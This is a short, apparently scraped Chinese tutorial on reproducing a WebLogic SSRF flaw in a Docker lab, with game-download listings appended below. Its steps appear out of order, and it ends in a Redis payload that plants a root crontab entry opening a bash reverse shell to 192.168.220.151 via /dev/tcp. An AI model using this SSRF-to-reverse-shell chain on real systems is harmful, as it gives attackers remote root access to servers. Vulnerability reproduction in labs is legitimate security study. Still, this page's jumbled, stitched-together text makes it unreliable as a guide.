如何实现Weblogic SSRF漏洞复现
时间：2023-05-15 05:54
docker安装及搭建环境教程：https://www.freebuf.com/sectool/252257.html 访问7001端口 发现是个连接，这就可能存在ssrf了 访问不存在的端口返回 could not connect over HTTP 访问存在的端口返回状态码 访问内网 以上就是如何实现Weblogic SSRF漏洞复现的详细内容，更多请关注Gxl网其它相关文章！一、使用docker搭建环境
二、漏洞复现步骤
1、漏洞存在页面 /uddiexplorer/SearchPublicRegistries.jsp
2、检查一下IBM这个地方看看
3、使用burp suite抓包，点击Search
4、修改operator参数的连接
5、访问结果
利用redis反弹shell的payload
set 1 "
* * * * * root bash -i >& /dev/tcp/192.168.220.151/1234 0>&1
"config set dir /etc/config set dbfilename crontabsave
热门排行
今日推荐
热门手游
-
商场购物模拟器官方版
版本：v1.0.9
大小：46.11MB
日期：2024-12-16
-
滚动方块大冒险免费版
版本：v1.0.5
大小：26.10MB
日期：2024-12-16
-
恋恋奇缘体验服版
版本：v1.0.0
大小：131.33MB
日期：2024-12-16
-
炉石传说官方正版
版本：v1.0
大小：100.52MB
日期：2024-12-16
-
人群大师免费版
版本：v2.15.0
大小：57.68MB
日期：2024-12-16
-
方鸡跳跑单机版
版本：v1
大小：63.49MB
日期：2024-12-16